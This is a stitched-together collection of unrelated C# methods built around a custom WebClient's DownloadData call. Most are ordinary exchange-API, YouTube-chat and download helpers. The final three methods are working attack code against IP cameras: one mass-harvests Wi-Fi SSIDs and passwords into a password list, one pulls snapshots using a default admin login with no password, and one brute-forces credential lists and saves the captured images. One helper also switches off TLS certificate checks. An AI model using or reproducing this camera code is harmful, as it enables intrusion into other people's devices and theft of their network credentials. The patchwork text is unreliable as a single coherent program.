private void MakeRequest(string url) { try { if (WorkContext.IsMono) { ServicePointManager.ServerCertificateValidationCallback = (s, c, h, p) => true; } CoreContext.TenantManager.SetCurrentTenant(TenantId); var auth = SecurityContext.AuthenticateMe(CoreContext.TenantManager.GetCurrentTenant().OwnerId); using (var webClient = new MyWebClient(timeout)) { webClient.Headers.Add("User-Agent", "Mozilla/5.0 (Windows NT 6.4; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36"); webClient.Headers.Add("Authorization", auth); webClient.DownloadData(url); } } catch (Exception ex) { logger.Error("Error", ex); Terminate(); } }
public override bool UpdateOpenedOrders(AccountInfo account, Ticker ticker) { if(account == null) return false; string address = string.Empty; if(ticker != null) { address = string.Format("https://bittrex.com/api/v1.1/market/getopenorders?apikey={0}&nonce={1}&market={2}", Uri.EscapeDataString(account.ApiKey), GetNonce(), ticker.MarketName); } else { address = string.Format("https://bittrex.com/api/v1.1/market/getopenorders?apikey={0}&nonce={1}", Uri.EscapeDataString(account.ApiKey), GetNonce()); } MyWebClient client = GetWebClient(); client.Headers.Clear(); client.Headers.Add("apisign", account.GetSign(address)); byte[] bytes = null; try { bytes = client.DownloadData(address); if(ticker != null) { if(!ticker.IsOpenedOrdersChanged(bytes)) return true; } else { if(IsOpenedOrdersChanged(bytes)) return true; } } catch(Exception e) { Telemetry.Default.TrackException(e); return false; } return OnUpdateOrders(account, ticker, bytes); }
public static byte[] DownloadData(string address) { using (MyWebClient client = new MyWebClient()) { return(client.DownloadData(address)); } }
public void NewThread() { using (MyWebClient client = new MyWebClient()) { try { client.Credentials = new NetworkCredential(user, pass); for (; ;) { byte[] imageBytes = client.DownloadData((new Uri("http://" + ip + "/snapshot.cgi"))); Bitmap bmp; using (var ms = new MemoryStream(imageBytes)) { bmp = new Bitmap(ms); try { this.Invoke(new MethodInvoker(delegate() { pictureBox1.Image = bmp; fps++; })); } catch { } } //Thread.Sleep(10); } } catch { } } }
public static Byte[] DownloadData(String address) { Byte[] data; using (var wc = new MyWebClient()) { data = wc.DownloadData(address); } return data; }
public static Byte[] DownloadData(String address) { Byte[] data; using (var wc = new MyWebClient()) { data = wc.DownloadData(address); } return(data); }
dynamic api(string url) { MyWebClient mwc = new MyWebClient(); try { byte[] data = mwc.DownloadData(url); return(Newtonsoft.Json.JsonConvert.DeserializeObject(Encoding.UTF8.GetString(data))); } catch (Exception er) { return(null); } }
public void MoveThread(string func) { using (MyWebClient client = new MyWebClient()) { try { Console.WriteLine("movethread started"); client.Credentials = new NetworkCredential(user, pass); client.DownloadData(Uribuilder(func)); Console.WriteLine(Uribuilder(func)); Thread.Sleep(200); client.DownloadData(StopUribuilder(func)); Console.WriteLine(StopUribuilder(func)); } catch (Exception e) { Console.WriteLine(e); } } }
public byte[] GetThumbImage(Product product, int size) { byte[] image = null; if (product != null && !string.IsNullOrEmpty(product.ThumbImageUrl)) { var webClient = new MyWebClient(); var url = product.ThumbImageUrl.ToString(); //https://images-na.ssl-images-amazon.com/images/I/51SuX9PrSUL._US40_.jpg url = Regex.Replace(url, @"(\d+)(_\.)", size.ToString() + "$2"); image = webClient.DownloadData(url); } return(image); }
public void MoveThread(Uri uri) { using (MyWebClient client = new MyWebClient()) { try { client.Credentials = new NetworkCredential(user, pass); client.DownloadData(uri); } catch { } } }
public byte[] getFile(Uri address, ref string message) { byte[] data = null; try { MyWebClient wc = new MyWebClient(); data = wc.DownloadData(address); } catch (Exception e) { message = e.Message; } return(data); }
public bool checkforupdate() { using (MyWebClient client = new MyWebClient()) { byte[] dat = client.DownloadData("http://knedit.pw/software/updateID"); string uids = System.Text.Encoding.UTF8.GetString(dat); int uid; Int32.TryParse(uids, out uid); if (uid > ID) { return(true); } } return(false); }
public override bool UpdateBalances(AccountInfo account) { if(Currencies.Count == 0) { if(!GetCurrenciesInfo()) return false; } string address = string.Format("https://bittrex.com/api/v1.1/account/getbalances?apikey={0}&nonce={1}", Uri.EscapeDataString(account.ApiKey), GetNonce()); MyWebClient client = GetWebClient(); client.Headers.Clear(); client.Headers.Add("apisign", account.GetSign(address)); try { byte[] bytes = client.DownloadData(address); if(bytes == null) return false; int startIndex = 1; if(!JSonHelper.Default.SkipSymbol(bytes, ':', 3, ref startIndex)) return false; List<string[]> res = JSonHelper.Default.DeserializeArrayOfObjects(bytes, ref startIndex, new string[] { "Currency", "Balance", "Available", "Pending", "CryptoAddress" }); for(int i = 0; i < res.Count; i++) { string[] item = res[i]; BitFinexAccountBalanceInfo binfo = (BitFinexAccountBalanceInfo) account.Balances.FirstOrDefault(b => b.Currency == item[0]); if(binfo == null) { binfo = new BitFinexAccountBalanceInfo(account); binfo.Currency = item[0]; account.Balances.Add(binfo); } //info.Balance = FastDoubleConverter.Convert(item[1]); binfo.Available = FastValueConverter.Convert(item[2]); //info.Pending = FastDoubleConverter.Convert(item[3]); binfo.DepositAddress = item[4]; } } catch(Exception) { return false; } return true; }
public static Boolean GetContentString(String url, out String message, Encoding encoding = null) { try { if (encoding == null) encoding = Encoding.UTF8; using (var wc = new MyWebClient()) { message = encoding.GetString(wc.DownloadData(url)); return true; } } catch (Exception exception) { message = exception.Message; return false; } }
public override bool UpdateAccountTrades(AccountInfo account, Ticker ticker) { string address = string.Format("https://bittrex.com/api/v1.1/account/getorderhistory?apikey={0}&nonce={1}&market={2}", Uri.EscapeDataString(account.ApiKey), GetNonce(), ticker.MarketName); MyWebClient client = GetWebClient(); client.Headers.Clear(); client.Headers.Add("apisign", account.GetSign(address)); try { byte[] bytes = client.DownloadData(address); return OnGetAccountTrades(account, ticker, bytes); } catch(Exception e) { Debug.WriteLine("error getting my trades: " + e.ToString()); return false; } }
public override bool UpdatePositions(AccountInfo account, Ticker ticker) { string queryString = string.Format("timestamp={0}&recvWindow=50000", GetNonce()); string signature = account.GetSign(queryString); string address = string.Format("{0}?{1}&signature={2}", PositionApiString, queryString, signature); MyWebClient client = GetWebClient(); client.Headers.Clear(); client.Headers.Add("X-MBX-APIKEY", account.ApiKey); try { return(OnGetPositions(account, client.DownloadData(address))); } catch (Exception e) { LogManager.Default.Log(e.ToString()); return(false); } }
public Stream GetFileByID(int id, string controller = null, string action = null) { if (controller == null) { controller = "SmtFile"; } if (action == null) { action = ControllerAction.SmtFileBase.GetByID; } var uri = GetFullUri(controller, action); var client = new MyWebClient(); client.Headers["token"] = _token; client.QueryString.Add("id", id.ToString()); var result = client.DownloadData(uri); return(new MemoryStream(result)); }
private static void Main(string[] args) { Uri[] uris = { new Uri("http://www.google.com"), new Uri("http://www.yahoo.com") }; Parallel.ForEach(uris, uri => { using (var webClient = new MyWebClient()) { try { var data = webClient.DownloadData(uri); // Success, do something with your data } catch (Exception ex) { // Something is wrong... Console.WriteLine(ex.ToString()); } } }); }
public static Boolean GetContentString(String url, out String message, Encoding encoding = null) { try { if (encoding == null) { encoding = Encoding.UTF8; } using (var wc = new MyWebClient()) { message = encoding.GetString(wc.DownloadData(url)); return(true); } } catch (Exception exception) { message = exception.Message; return(false); } }
private void testbttn_Click(object sender, EventArgs e) { using (MyWebClient client = new MyWebClient()) { try { NetworkCredential c = new NetworkCredential(textBox2.Text, textBox3.Text); client.Credentials = c; byte[] gdata = client.DownloadData("http://" + textBox4.Text + "/" + textBox1.Text); using (var ms = new MemoryStream(gdata)) { Bitmap b = new Bitmap(ms); pictureBox1.Image = b; } } catch { } } }
public void NewThread() { using (MyWebClient client = new MyWebClient()) { try { client.Credentials = new NetworkCredential(user, pass); for (; ;) { byte[] imageBytes = client.DownloadData((new Uri("http://" + ip + location))); Console.WriteLine(imageBytes.Length); Console.WriteLine("http://" + ip + location); Console.WriteLine(imageBytes.Length); Bitmap bmp; using (var ms = new MemoryStream(imageBytes)) { bmp = new Bitmap(ms); try { this.Invoke(new MethodInvoker(delegate() { Console.WriteLine("invoked"); pbox.Image = new Bitmap(bmp); fps++; })); } catch { this.Close(); } } } } catch { } } }
protected string DownloadPrivateString(AccountInfo account, string verb, string path) { string address = "https://www.bitmex.com" + path; string expires = GetExpires().ToString(); MyWebClient client = GetWebClient(); client.Headers.Clear(); client.Headers.Add("api-expires", expires); string textToSignature = verb + path + expires; client.Headers.Add("api-signature", account.GetSign(textToSignature)); client.Headers.Add("api-key", account.ApiKey); try { return(Encoding.UTF8.GetString(client.DownloadData(address))); } catch (Exception e) { LogManager.Default.Log(e.ToString()); return(null); } }
public static bool GetContentString(string url, out string message, Encoding encoding = null) { bool flag; try { if (encoding == null) { encoding = Encoding.UTF8; } using (MyWebClient client = new MyWebClient()) { message = encoding.GetString(client.DownloadData(url)); flag = true; } } catch (Exception exception) { message = exception.Message; flag = false; } return(flag); }
private static void StoveLogin(MyWebClient client) { client.DownloadData("https://member.onstove.com/auth/login"); string id = UserSettings.GameId; string pw = UserSettings.GamePw; if (String.IsNullOrEmpty(id)) { throw new Exception(StringLoader.GetText("exception_empty_id")); } var values = new NameValueCollection(3) { [Strings.Web.KR.PostId] = id }; using (System.Security.SecureString secure = Methods.DecryptString(pw)) { if (String.IsNullOrEmpty(values[Strings.Web.KR.PostPw] = Methods.ToInsecureString(secure))) { throw new Exception(StringLoader.GetText("exception_empty_pw")); } } values[Strings.Web.KR.KeepForever] = Strings.Web.KR.KeepForeverDefaultValue; client.Headers.Add(HttpRequestHeader.ContentType, "application/x-www-form-urlencoded"); byte[] byteResponse = client.UploadValues(Urls.StoveLogin, values); string loginResponse = Encoding.UTF8.GetString(byteResponse); var loginJSON = new { value = "", message = "", result = "" }; var jsonResponse = JsonConvert.DeserializeAnonymousType(loginResponse, loginJSON); switch (jsonResponse.result ?? throw new Exception("unexpected null result")) { case "000": break; case "589": Process.Start("https://member.onstove.com/auth/login"); throw new Exception(StringLoader.GetText("exception_captcha_required")); case "551": case "552": case "553": case "554": Process.Start($"https://member.onstove.com/block?user_id={id}"); throw new Exception(StringLoader.GetText("exception_follow_instruction_webpage")); case "569": Process.Start($"https://member.onstove.com/register/ok?user_id={id}"); throw new Exception(StringLoader.GetText("exception_follow_instruction_webpage")); case "556": throw new Exception(StringLoader.GetText("exception_incorrect_id_pw")); case "610": throw new Exception(StringLoader.GetText("exception_account_to_be_deleted")); case "550": var onlyIdValues = new NameValueCollection(1) { [Strings.Web.KR.PostId] = id }; client.Headers.Add(HttpRequestHeader.ContentType, "application/x-www-form-urlencoded"); byte[] byteWakeUpResponse = client.UploadValues("https://member.onstove.com/member/wake/up", onlyIdValues); string wakeUpResponse = Encoding.UTF8.GetString(byteWakeUpResponse); var jsonWakeUpResponse = JsonConvert.DeserializeAnonymousType(wakeUpResponse, loginJSON); switch (jsonWakeUpResponse.result ?? throw new Exception("unexpected null result")) { case "000": StoveLogin(client); break; default: throw new Exception($"result=[{jsonResponse.result}]\n{jsonResponse.message ?? "no error details"}"); } break; default: throw new Exception($"result=[{jsonResponse.result}]\n{jsonResponse.message ?? "no error details"}"); } }
private static void get_req() { MyWebClient client = new MyWebClient(); //WebProxy myProxy = new WebProxy("127.0.0.1", 8080); //client.Proxy = myProxy; client.Encoding = Encoding.UTF8; while (true) { client.Headers.Set(HttpRequestHeader.UserAgent, "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"); Thread.Sleep(1000); byte[] rep = new byte[] { }; RequestObject req = getOneTask(); if (req != null) { client.Headers = req.requestHeaders; LogUtil.Log($"{TAG}-{req.method}-{req.url.ToString()}"); if (req.method.ToString().ToLower() == "get") { try { rep = client.DownloadData(req.url); req.repByte = rep; if (req.callBackFunc != null) { req.callBackFunc.Invoke(req); } } catch (Exception e) { LogUtil.Log($"{TAG}-{req.method}-请求发生错误,{e.ToString()}", LogUtil.LogLevel.Error); req.order = -1; if (req.retryTime < maxRetryTimes) { req.retryTime++; lock (reqListLock) { reqList.Add(req); } } else { LogUtil.Log($"{TAG}-{req.method}-{req.url.ToString()}丢弃", LogUtil.LogLevel.Warning); } } req.repByte = rep; } else if (req.method.ToString().ToLower() == "post") { try { rep = client.UploadData(req.url, new byte[] { }); req.repByte = rep; if (req.callBackFunc != null) { req.callBackFunc.Invoke(req); } } catch (Exception e) { LogUtil.Log($"{TAG}-{req.method}-请求发生错误,{e.ToString()}", LogUtil.LogLevel.Error); req.order = -1; if (req.retryTime < maxRetryTimes) { req.retryTime++; lock (reqListLock) { reqList.Add(req); } } else { LogUtil.Log($"{TAG}-{req.method}-{req.url.ToString()}丢弃", LogUtil.LogLevel.Warning); } } req.repByte = rep; try { req.meta.Add("rep_headers", client.ResponseHeaders); } catch (ArgumentException) { req.meta["rep_headers"] = client.ResponseHeaders; } } else if (req.method.ToString().ToLower() == "form") { client.Headers.Set(HttpRequestHeader.ContentType, "application/x-www-form-urlencoded"); try { rep = client.UploadValues(req.url.ToString(), req.requestPara); req.repByte = rep; req.requestHeaders = client.ResponseHeaders; if (req.callBackFunc != null) { req.callBackFunc.Invoke(req); } } catch (Exception e) { LogUtil.Log($"{TAG}-{req.method}-请求发生错误,{e.ToString()}", LogUtil.LogLevel.Error); req.order = -1; if (req.retryTime < maxRetryTimes) { req.retryTime++; lock (reqListLock) { reqList.Add(req); } } else { LogUtil.Log($"{TAG}-{req.method}-{req.url.ToString()}丢弃", LogUtil.LogLevel.Warning); } } try { req.meta.Add("rep_headers", client.ResponseHeaders); } catch (ArgumentException) { req.meta["rep_headers"] = client.ResponseHeaders; } } } } }
void chatThreadFunc() { bool needErrorSleep = false; Header = "Loading 0%"; int sleepMs = 3000; while (!_abortRequested) { if (string.IsNullOrEmpty(_youtubeChannelId)) { dynamic channelInfo = api(string.Format("https://www.googleapis.com/youtube/v3/channels?part=id&forUsername={0}&key={1}", HttpUtility.UrlEncode(this.Uri), YOUTUBE_APIKEY)); if (channelInfo == null) { needErrorSleep = true; Header = "Net error"; } else if (channelInfo.items.Count == 0) { needErrorSleep = true; Header = "Not found"; } else { needErrorSleep = false; _youtubeChannelId = (string)channelInfo.items[0].id; Header = "Loading..."; } if (string.IsNullOrEmpty(_youtubeChannelId)) { _youtubeChannelId = this.Uri; } } if (!string.IsNullOrEmpty(_youtubeChannelId)) { if (string.IsNullOrEmpty(_youtubeLiveVideoId)) { dynamic liveVideo = api(string.Format("https://www.googleapis.com/youtube/v3/search?part=id&channelId={0}&eventType=live&type=video&key={1}&rnd={2}", _youtubeChannelId, YOUTUBE_APIKEY, DateTime.Now.ToBinary())); if (liveVideo == null) { Header = "No live video"; _liveChatId = ""; } else if (liveVideo.items.Count == 0) { Header = "No live"; _liveChatId = ""; _youtubeChannelId = ""; } else { Header = "Live"; _youtubeLiveVideoId = liveVideo.items[0].id.videoId; this.Tooltip = _youtubeChannelId + ": " + _youtubeLiveVideoId; } } } if (!string.IsNullOrEmpty(_youtubeLiveVideoId)) { dynamic d = api(string.Format(API_getViewerCount, _youtubeLiveVideoId, YOUTUBE_APIKEY)); if (d != null) { if (d.items[0].liveStreamingDetails.concurrentViewers == null) { this.Header = "Offline?"; _youtubeLiveVideoId = ""; _liveChatId = ""; } else { int h = (int)d.items[0].liveStreamingDetails.concurrentViewers; this.ViewersCount = h; this.Header = h.ToString(); _liveChatId = (string)d.items[0].liveStreamingDetails.activeLiveChatId; } } else { this.Header = "Net?"; _youtubeLiveVideoId = ""; _liveChatId = ""; } } if (!string.IsNullOrEmpty(_liveChatId)) { try { // _chatLoader.Headers.Add( , "" ); MyWebClient _chatLoader = new MyWebClient(); byte[] data = _chatLoader.DownloadData(string.Format(API_getMessages, _liveChatId, YOUTUBE_APIKEY)); string x = Encoding.UTF8.GetString(data); YoutubeLiveMessages d = Newtonsoft.Json.JsonConvert.DeserializeObject <YoutubeLiveMessages>(x); Status = true; sleepMs = d.pollingIntervalMillis; List <YoutubeMessageContainer> NewMessage = new List <YoutubeMessageContainer>(); //////////// foreach (var m in from b in d.items orderby b.snippet.publishedAt select b) { if (m.snippet.publishedAt > _last) { NewMessage.Add(m); _last = m.snippet.publishedAt; } } if (_showComments) { if (NewMessage.Count > 0) { newMessagesArrived(from b in NewMessage orderby b.snippet.publishedAt select new TwoRatChat.Model.ChatMessage(getBages(b)) { Date = DateTime.Now, Name = b.authorDetails.displayName, Text = HttpUtility.HtmlDecode(b.snippet.displayMessage), Source = this, Id = _id, ToMe = this.ContainKeywords(b.authorDetails.displayName), //Form = 0 }); } } _showComments = true; } catch (Exception er) { Status = false; Header = "ERR??"; _liveChatId = ""; _youtubeLiveVideoId = ""; } } Thread.Sleep(sleepMs); } }
public static string DownloadAsString(string url, ref Encoding resolvedEncoding) { using (MyWebClient wc = new MyWebClient()) { wc.Encoding = Encoding.ASCII; //wc.Headers["Connection"] = "keep-alive"; wc.Headers["Cache-Control"] = "max-age=0"; wc.Headers["Accept"] = "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8"; wc.Headers["User-Agent"] = "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"; //wc.Headers["Accept-Encoding"] = "gzip,deflate,sdch"; wc.Headers["Accept-Language"] = "tr,en;q=0.8,en-US;q=0.6"; byte[] bytes = wc.DownloadData(url); string pageEncoding = ""; resolvedEncoding = Encoding.UTF8; if (!string.IsNullOrWhiteSpace(wc.ResponseHeaders[HttpResponseHeader.ContentEncoding])) pageEncoding = wc.ResponseHeaders[HttpResponseHeader.ContentEncoding]; else if (!string.IsNullOrWhiteSpace(wc.ResponseHeaders[HttpResponseHeader.ContentType])) pageEncoding = getCharacterSet(wc.ResponseHeaders[HttpResponseHeader.ContentType]); if (pageEncoding == "") pageEncoding = getCharacterSet(bytes); if (pageEncoding != "") { try { resolvedEncoding = Encoding.GetEncoding(pageEncoding); } catch { //throw new Exception("Invalid encoding: " + pageEncoding); } } return resolvedEncoding.GetString(bytes); //return Encoding.UTF8.GetString(Encoding.Convert(wc.Encoding, Encoding.UTF8, bytes)); } }
public string getIpData(string ip, bool isUsingMass) { using (MyWebClient client = new MyWebClient()) { tested++; this.Invoke(new MethodInvoker(delegate() { label4.Text = tested + " / " + filelengh; })); string emptystr = "IP:\n " + "" + "\n\nWIFI SSID:\n" + "" + "\n\nWIFI PASSWORD:\n" + "" + "\n\nMAC ADDREDD:\n" + "" + "\n\nSERIAL NUMBER:\n" + ""; client.Credentials = new NetworkCredential(textBox2.Text, textBox3.Text); string newip = ip; if (!(newip.Contains("http://"))) { newip = "http://" + newip; } try { string url = newip + "/cgi-bin/hi3510/param.cgi?cmd=getwirelessattr&cmd=getnetattr&cmd=gethip2pattr"; byte[] clidata = client.DownloadData(url); Console.WriteLine(Encoding.UTF8.GetString(clidata)); string outdata = Encoding.UTF8.GetString(clidata); string[] findata = outdata.Split(new string[] { "var" }, StringSplitOptions.None); Console.WriteLine(findata.Length); string tmpwifistr = ""; string tmpkeystr = ""; string tmpmacstr = ""; string tmpsrlstr = ""; string outputstr = ""; for (int i = 0; i < findata.Length; i++) { Console.WriteLine(i); if (findata[i].Contains("wf_ssid=")) { tmpwifistr = findata[i].Replace("wf_ssid=\"", ""); tmpwifistr = tmpwifistr.Remove(tmpwifistr.Length - 4); Console.WriteLine(tmpwifistr); } if (findata[i].Contains("wf_key=")) { tmpkeystr = findata[i].Replace("wf_key=\"", ""); tmpkeystr = tmpkeystr.Remove(tmpkeystr.Length - 4); Console.WriteLine(tmpkeystr); } if (findata[i].Contains("macaddress=")) { tmpmacstr = findata[i].Replace("macaddress=\"", ""); tmpmacstr = tmpmacstr.Remove(tmpmacstr.Length - 4); Console.WriteLine(tmpmacstr); } if (findata[i].Contains("hip2p_uid=")) { tmpsrlstr = findata[i].Replace("hip2p_uid=\"", ""); tmpsrlstr = tmpsrlstr.Remove(tmpsrlstr.Length - 4); Console.WriteLine(tmpsrlstr); } } outputstr = "IP:\n " + ip + "\n\nWIFI SSID:\n" + tmpwifistr + "\n\nWIFI PASSWORD:\n" + tmpkeystr + "\n\nMAC ADDREDD:\n" + tmpmacstr + "\n\nSERIAL NUMBER:\n" + tmpsrlstr; data.Add(outputstr + "\n\n"); if (!string.IsNullOrEmpty(tmpwifistr) && isUsingMass) { userpass.Add(tmpwifistr + " :" + tmpkeystr); System.IO.File.WriteAllText(outputfilename, string.Join("\n", data)); } if (isUsingMass) { System.IO.File.WriteAllText(passlistoutputfilename, string.Join("\n", userpass)); } return(outputstr); } catch { //bad ip return(emptystr); } } }
public void testthread(string[] ips) { int len = ips.Length; Console.WriteLine("thread started"); Console.WriteLine(len); foreach (string line in ips) { Console.WriteLine(line); bool isIpGood; string curip = line; if (curip.EndsWith(":")) { curip = curip.Remove(curip.Length - 1); } int camCount = Int32.Parse(getCamCount(new Uri("http://" + curip))); //Console.WriteLine(camCount); if (camCount == -1) { Console.WriteLine("bad ip"); continue; } try { using (MyWebClient client = new MyWebClient()) { byte[] img = client.DownloadData("http://" + curip + "/cgi-bin/snapshot.cgi?chn=0&u=admin&p="); } isIpGood = true; } catch { //incorrect user/pass or camera timeout. isIpGood = false; } if (isIpGood) { for (int o = 0; o == camCount; o++) { string dirip = curip.Replace(':', ';'); string dir = selectedDirectory + dirip; if (!Directory.Exists(dir)) { Directory.CreateDirectory(dir); } using (MyWebClient client = new MyWebClient()) { try { Console.WriteLine("downloading from " + curip + " channel " + o); client.DownloadFile("http://" + curip + "/cgi-bin/snapshot.cgi?chn=" + o + "&u=admin&p=", dir + "/chnnel" + o + ".jpg"); } catch { //error in download } } } } } }
public void testThread(string[] IPs, string[] Userlist) { //begin testing for (int i = 0; i < IPs.Length; i++) { this.Invoke(new MethodInvoker(delegate() { counter++; label1.Text = (counter + " / " + iplen); })); for (int o = 0; o < Userlist.Length; o++) { using (MyWebClient client = new MyWebClient()) { string currentip = IPs[i]; if (currentip.EndsWith(":")) { currentip = currentip.Remove(currentip.Length - 1); } Bitmap b; string[] currentcreds = Userlist[o].Split(':'); HttpWebRequest request = (HttpWebRequest)WebRequest.Create("http://" + currentip + settingdata[0]); request.Method = "GET"; request.Credentials = new NetworkCredential(currentcreds[0], currentcreds[1]); request.Timeout = 2000; Console.WriteLine(currentcreds[0] + " : " + currentcreds[1]); if (!(doneIPs.Contains(currentip))) { doneIPs.Add(currentip); trueCounter++; perc = (trueCounter / iplen) * 100; progressBar1.Value = perc; this.Invoke(new MethodInvoker(delegate() { listBox2.Items.Add(currentip); label2.Text = perc.ToString() + "%"; })); } try { File.AppendAllText(allIpPath, currentip); HttpWebResponse response = (HttpWebResponse)request.GetResponse(); if (response.StatusCode == HttpStatusCode.OK | checkBox2.Checked) { Console.WriteLine("GOT 200"); client.Credentials = new NetworkCredential(currentcreds[0], currentcreds[1]); try { byte[] image = client.DownloadData("http://" + currentip + settingdata[1]); using (var ms = new MemoryStream(image)) { b = new Bitmap(ms); } using (Graphics graphics = Graphics.FromImage(b)) { PointF firstLocation = new PointF(10f, 10f); PointF secondLocation = new PointF(10f, 24f); Font lucFont = new Font("Lucida Console", 10); PointF Pointvar = new PointF(10f, 10f); PointF Pointvar2 = new PointF(10f, 24f); SizeF size = graphics.MeasureString(currentip, lucFont); SizeF size2 = graphics.MeasureString(currentcreds[0] + " : " + currentcreds[1], lucFont); RectangleF rect = new RectangleF(Pointvar, size); RectangleF rect2 = new RectangleF(Pointvar2, size2); graphics.FillRectangle(Brushes.Black, rect); graphics.FillRectangle(Brushes.Black, rect2); graphics.DrawString(currentip, lucFont, Brushes.White, firstLocation); graphics.DrawString(currentcreds[0] + " : " + currentcreds[1], lucFont, Brushes.White, secondLocation); graphics.Dispose(); } this.Invoke(new MethodInvoker(delegate() { listBox1.Items.Add(currentip + " : " + currentcreds[0] + ":" + currentcreds[1]); pictureBox1.Image = new Bitmap(b); })); Random random = new Random(); const string chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"; string rand = new string(Enumerable.Repeat(chars, 5).Select(s => s[random.Next(s.Length)]).ToArray()); b.Save(directory + rand + ".jpg", ImageFormat.Jpeg); b.Dispose(); File.AppendAllText(allIpPath, currentip); File.AppendAllText(workingIpPath, currentip); listBox2.Items.Add(currentip); break; } catch { break; } } else { } } catch (Exception ex) { } } } } }